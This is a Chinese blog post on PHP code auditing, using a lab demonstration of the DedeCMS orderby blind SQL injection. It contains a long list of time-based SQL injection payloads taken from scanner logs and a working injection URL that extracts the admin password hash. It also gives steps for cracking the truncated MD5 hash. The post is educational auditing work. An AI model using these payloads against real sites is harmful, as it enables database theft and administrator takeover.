这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出。

PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂,今天我想主要谈谈关于PHP代码审计和漏洞挖掘的一些思路和理解。

PHP的漏洞发掘,其实就是web的渗透测试,和客户端的fuzzing测试一样,web的渗透测试也可以使用类似的技术,web fuzzing,即基于web的动态扫描。

这类软件国内外有很多,如WVS,Lan Guard,SSS等。这类扫描器的共同特点都是基于蜘蛛引擎对我们给出的URL地址进行遍历搜索,对得到的URL和参数进行记录,然后使用本地或者web端的script脚本攻击语句进行攻击测试。

如:

http://www.foo.com/index.php?parm1=1&parm2=2&parm3=3.....&parmn=n

….

WVS使用本地的脚本攻击数据库对这些参数进行交叉替换和填充,构造出新的URL,然后用GET或者POST的方式向服务器发出请求,并对返回的结果进行正则判断。

如是否出现:” ou have an error in your SQL syntax”等字样。如果出现,则记录下来,说明这个脚本页面”可能”存在漏洞。

WVS把攻击分成了很多模块:

1. Blind_SQL_Injection

2. AcuSensor

3. CSRF

4. Directory_And_File_Check

5. File_Upload

6. GHDB(Google黑客数据库)

7. Sql_Injection

8. Weak_Password

9. XSS

每种攻击测试方式都对应着一类scripts,里面包含了攻击语句。

用WVS扫描完之后,如果能发现一些sql注入点的提示,这个时候可以先用sqlmap进行注入尝试,进一步判断注入点的情况。

http://hi.baidu.com/306211321/item/b4b2ea1f75db1dea9913d659

如果这两步都不能成功,说明基于fuzz的动态扫描不能继续下去了,这个时候,我们应该想办法进行静态的代码审计,从源代码的角度分析和挖掘漏洞的成因和利用方式。这块可以使用RIPS这样的软件,RIPS是一款专门用来进行静态PHP代码审计的工具,能够帮助我们定位到可能存在漏洞的代码区域。

RIPS对代码进行静态漏洞扫描的基本思想有两条:

  1. 对容易产生漏洞的函数进行跟踪(例如:mysql_query())

RIPS认为,所有的注入漏洞最终都要经过一些特定的数据库操作函数,mysql_query()或程序自定义的类函数,这些函数是产生漏洞的导火索,只要对这些函数的控制流和参数流进行回溯扫描,就可以发现大部分的代码漏洞。

  1. 对产生注入漏洞的源头即用户传输过来的数据流进行跟踪($_GET,$_POST,$_COOKIE)

“用户输入的一切数据都有害”,大部分的注入漏洞,包括二次注入,究其原因都是因为对用户的输入数据没有做好过滤,RIPS对这些敏感数据进行跟踪,并判断其在进入敏感函数(mysql_query())之前有没有对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。

动态扫描加上静态定位,最终使我们能更容易的发现一些漏洞并及时使其得到修补。

接下来,我们来针对一个已知的漏洞进行一次分析。

DedeCms V5 orderby参数注射漏洞

SSV-ID:3824

SSV-AppDir:织梦

URL:http://sebug.net/vuldb/ssvid-3824

  1. 动态扫描

架设好服务器和网站后,我们使用WVS对网站的根目录进行扫描,因为我们现在是黑盒测试,所以直接从网站根目录开始扫描。

等待一段时间后,扫描结果出来了,得到一些疑似SQL注入的URL。这里研究一下WVS的注入测试原理是什么,通过查看apache的access.log。我们发现了一下请求(无关部分已经删除)。

id=-1&page=1

id=-1 or 1*71=71&page=1

id=-1 or 71=0&page=1

id=-1' or 5=5 or '39'='39&page=1

id=-1' or '39'='0&page=1

id=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/&page=1

id=com_virtuemart' and sleep(2.09)='&page=1

id=com_virtuemart' and (sleep(2.09)+1) limit 1 -- &page=1

id=com_virtuemart'=sleep(2.09)='&page=1

id=com_virtuemart"=sleep(2.09)="&page=1

id=com_virtuemart'+(select 1 from (select sleep(2.09))A)+'&page=1

id=com_virtuemart and sleep(2.09) &page=1

id=com_virtuemart or (sleep(2.09)+1) limit 1 -- &page=1

id=com_virtuemart';select pg_sleep(2.09); -- &page=1

id=com_virtuemart'; waitfor delay '0:0:2.09' -- &page=1

id=com_virtuemart"; waitfor delay '0:0:2.09' -- &page=1

id=com_virtuemart&page=-1 or 1*22=22

id=com_virtuemart&page=-1 or 22=0

id=com_virtuemart&page=-1' or 5=5 or '56'='56

id=com_virtuemart&page=-1' or '56'='0

id=com_virtuemart&page=-1" or 5=5 or "39"="39

id=com_virtuemart&page=-1" or "39"="0

id=com_virtuemart&page=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/

id=com_virtuemart&page=1 and sleep(2)

id=com_virtuemart&page=1 or (sleep(2)+1) limit 1 --

id=com_virtuemart&page=1' and sleep(2)='

id=com_virtuemart&page=1' and sleep(0)='

id=com_virtuemart&page=1' and (sleep(2)+1) limit 1 --

id=com_virtuemart&page=1' or (sleep(2)+1) limit 1 --

id=com_virtuemart&page=1" or (sleep(2)+1) limit 1 --

id=com_virtuemart&page=1" or (sleep(0)+1) limit 1 --

id=com_virtuemart&page=1'=sleep(2)='

id=com_virtuemart&page=1"=sleep(2)="

id=com_virtuemart&page=1'+(select 1 from (select sleep(2))A)+'

id=com_virtuemart&page=1;select pg_sleep(2); --

id=com_virtuemart&page=1';select pg_sleep(2); --

id=com_virtuemart&page=1; waitfor delay '0:0:2' --

id=com_virtuemart&page=1'; waitfor delay '0:0:2' --

id=com_virtuemart&page=1"; waitfor delay '0:0:2' --

可以看到,WVS采用的是一种基于时间延迟的盲注入测试技术。

http://www.4ngel.net/article/49.htm

盲注入的利用关键是要找到一个二值逻辑的判断,即需要对不同的输入有不同的返回结果,我们才能借助推理得到一些信息,但是有时候,盲注入得到的结果并不会在UI上显示出来,这样就回导致我们注入失败,但是采用时间延迟的思想就可以很好的避免这个问题,从而能够对不同的程序具有很好的适应性。

  1. 注入点探测

得到WVS的扫描结果后,我们需要对可能存在注入的URL进行注意排查,以确定是否真的存在注入漏洞。

我们选取:

http://192.168.174.131/index.php?option=com_virtuemart&page=1

这是dedecms的一个留言板的脚本页面:

使用sqlmap对疑似注入点进行探测:

python sqlmap.py -u "http://192.168.174.131/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=1" --current-db

扫描的结果没有成功,又手工尝试了union selct和order by1,2,3..等注入方式,貌似不能获得盲注入的效果。

不成功的原因有很多,我自己根据经验总结了几点:

触发实际的sql注入漏洞之前要

1. 先获取cookie值(如果没有cookie值很多时候会被直接弹出到首页,没法进入到一些深层次的代码逻辑)

2. 获取formhash(防止CSRF的)

3. 对POST或GET或cookie中的某个字段进行某种编码(base64等)

4. 特殊字符(%cf宽字符)注入等

5. 结合POST或COOKIE的变量覆盖的sql注入

6. 盲注入sql语句构造的特殊性

这些先验条件有时候就会称为漏洞触发和利用的关键。

这个时候用自动化工具进行测试的工作基本做完了,我们接下来要使用RIPS来对源代码进行白盒分析,因为目标系统是开源的cms系统,我们可以很容易的从网上下载到全部源代码。

使用RIPS对cms的整站源代码进行扫描

RIPS扫描出了很多文件,有些是因为交叉引用,有些是真正存在漏洞的代码的。

我们来到: /member/guestbook_admin.php

来分析以下代码漏洞

//重载列表

if($dopost=='getlist'){

PrintAjaxHead();

GetList($dsql,$pageno,$pagesize,$orderby);

$dsql->Close();

exit();

.........

//获得特定的关键字列表

//---------------------------------

function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){

global $cfg_phpurl,$cfg_ml;

$jobs = array();

$start = ($pageno-1) * $pagesize;

$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");

$dsql->Execute();

while($row = $dsql->GetArray()){

$row['endtime'] = @ceil(($row['endtime']-$row['pubdate'])/86400);

if($row['salaries'] == 0){

$row['salaries'] = '薪酬面议';

}

$jobs[] = $row;

}

foreach($jobs as $job)

{

//模板文件

include(dirname(__FILE__)."/templets/job.htm");

}

可以看到,代码在编写的时候,并没有对orderby这个参数进行过滤。导致了注入和畸形数据报错,接下来,我们的任务就是要利用这个漏洞进行有效的注入,获得数据。

我们手工构造一个注入:

我们手动构造一个sql注入

http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid+and+if(ASCII(SUBSTRING((SELECT+pwd+FROM+dede_admin+where+id=1),0,1))=63,1,(SELECT+pwd+FROM+dede_member))

对应的sql语句:

Select * From dede_member_guestbook where mid='1' order by mid and if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member));

这样不能成功,因为sql语句的语法是这样的;

SELECT select_list

  [ INTO new_table ]

  FROM table_source

  [ WHERE search_condition ]

  [ GROUP BY group_by_expression ]

  [ HAVING search_condition ]

[ ORDER BY order_expression [ ASC | DESC ] ]

而我们在能控制的参数是order by参数,在where后面,我发现这个时候不管and逻辑的true or false都不影响sql的查询结果。

转换一下思路:

http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid,if(ASCII(SUBSTRING((select+pwd+from+dede_admin+where+id=1),1,1))=54,1,(select+pwd+from+dede_member))+asc--

对应的sql语句:

Select * From dede_member_guestbook where mid='1' order by mid,if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member)) asc;

这个语句貌似可以利用,因为在标准的sql语法中。在order by后面再加and是没有用的。但是这里用了逗,也就是if后面的语句也属于order by的一部分了。再在最后加上一个asc,盲注入就成功了。

在+asc后面加上--注释号,来屏蔽掉后面的desc limit 0,5。

整个语句就能跑通了。

根据返回的结果的不一致,利用正则判断一下,就可以利用盲注入进行帐号和密码的猜测。从而获得后台权限。

然后dede的密码存放机制是产生32位的MD5后,截断前24位,所以得到的hash只有24位,没法用cmd5.com直接破解

http://www.2cto.com/Article/201203/123709.html

698d51a19d8a121ce581499d,去掉前8位

9d8a121ce581499d

转换成15位MD5,再用cmd5.com来解密,成功

总结:

Web渗透和代码审计的第一步是对网站的fuzz测试,这可以从整体上对网站的漏洞情况进行扫描,缩小范围。

对漏洞的具体挖掘和利用还是要使用白盒分析,即源代码分析,这样才能更有效的针对不同的代码情况指定出漏洞利用方案。

介绍一些web fuzzing的工具。

Browser Fuzzer 3 (bf3) – Comprehensive Web Browser Fuzzing Tool

MantraPortable  --- OWASP的一款渗透测试套件

Webshag v1.00 – Web Server Auditing Tool (Scanner and File Fuzzer)

Wfuzz – A Tool for Bruteforcing/Fuzzing Web Applications

WVS

LAN Guard

SQLmap

刚开始接触代码审计这块,懂得不是很多,就说了一些平时玩的过程中的理解和观点,希望大神路过能多多指导指导,我会继续学习这方面的知识的。

关于PHP代码审计和漏洞挖掘的一点思考的更多相关文章

  1. [网站安全] [实战分享]WEB漏洞挖掘的一些经验分享

    WEB漏洞有很多种,比如SQL注入,比如XSS,比如文件包含,比如越权访问查看,比如目录遍历等等等等,漏洞带来的危害有很多,信息泄露,文件上传到GETSHELL,一直到内网渗透,这里我想分享的最主要的 ...

  2. ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

    ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ...

  3. php漏洞挖掘书籍

    PHP是一种被广泛使用的脚本语言,尤其适合web开发.具有跨平台,容易学习,功能强大等特点,据统计全世界超过34%的网站有php的应用,包括Yahoo.sina.163.sohu等大型门户网站.而且很 ...

  4. PHP代码审计4-漏洞挖掘思路

    漏洞挖掘思路 漏洞形成的条件 1.变量可控制 2.变量可到达有利用价值的函数(危险函数) 漏洞造成的效果 漏洞的利用效果取决于最终的函数功能,变量进入什么样的函数就导致什么样的效果 危险函数 文件包含 ...

  5. Vuzzer自动漏洞挖掘工具简单分析附使用介绍

    Vuzzer 是由计算机科学机构  Vrije Universiteit Amsterdam.Amsterdam Department of Informatics 以及 International ...

  6. SRC漏洞挖掘

    SRC目标搜集 文章类的平台 https://www.anquanke.com/src 百度搜索 首先得知道SRC厂商的关键字,利用脚本搜集一波. 比如[应急响应中心]就可以作为一个关键字.通过搜索引 ...

  7. D-Link系列路由器漏洞挖掘

    参考 http://www.freebuf.com/articles/terminal/153176.html https://paper.seebug.org/429/ http://www.s3c ...

  8. D-Link系列路由器漏洞挖掘入门

    D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大 ...

  9. (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

随机推荐

  1. C#.NET 大型通用信息化系统集成快速开发平台 4.0 版本 - 省市区数据权限的实现效果

    折腾了2-3周,终于把全国网点数据权限,省.市.县数据规范化,查询权限规范化,基础数据规范化的思路理清楚了, 今天应该是一个里程碑式的一天 省市区数据规范化后 1:网点的基础数据可以更加严谨规范化. ...

  2. Generate Parentheses

    Generate Parentheses Given n pairs of parentheses, write a function to generate all combinations of ...

  3. CUDA2.1-原理之索引与warp

    本小节来自<大规模并行处理器编程实战>第四节,该书是很好的从内部原理结构上来讲述了CUDA的,对于理解CUDA很有帮助,借以博客的形式去繁取间,肯定会加入自己个人理解,所以有错误之处还望指 ...

  4. C#基础之IEnumerable

    1.IEnumerable的作用 在使用Linq查询数据时经常以IEnumerable<T>来作为数据查询返回对象,在使用foreach进行遍历时需要该对象实现IEnumerable接口, ...

  5. 171 Excel Sheet Column Number

    /** * 题意:A表示1 B表示2 AA表示27 AB表示28 ------>给你一串字符串输出相应的数字 * 分析:这个就类似于二进制转十进制,从字符串后面往前遍历,然后pow(26,n)* ...

  6. 开发WP版本的大菠萝英雄榜

    前言 想当年Team有无数人在玩大菠萝,我被忽悠进来做肉盾,选了蛮子,从1.0开始,经历了103.105.108.2.0.2.1.这个游戏对我最大的帮助是学习了不同的技术,比如XAML.比如xcode ...

  7. HTTP请求头参数

      Accept-Language: zh-cn,zh;q=0.5 意思:浏览器支持的语言分别是中文和简体中文,优先支持简体中文. 详解: Accept-Language表示浏览器所支持的语言类型: ...

  8. 理解Java接口

    作者:梅云罗链接:https://www.zhihu.com/question/20111251/answer/14760353来源:知乎著作权归作者所有,转载请联系作者获得授权. 接口只是一个规范, ...

  9. CSS HACK tab制表符导致行内元素之间的空隙如何解决

    <!DOCTYPE html> <html lang="zh-CN"><head> <meta name="viewport&q ...

  10. 如何解决xml在eclipse下的拼写报错

    进入preferences——键入“spelling”——看到勾选框:Enable spelling check,去掉勾选框,可消除eclipse下的拼写错误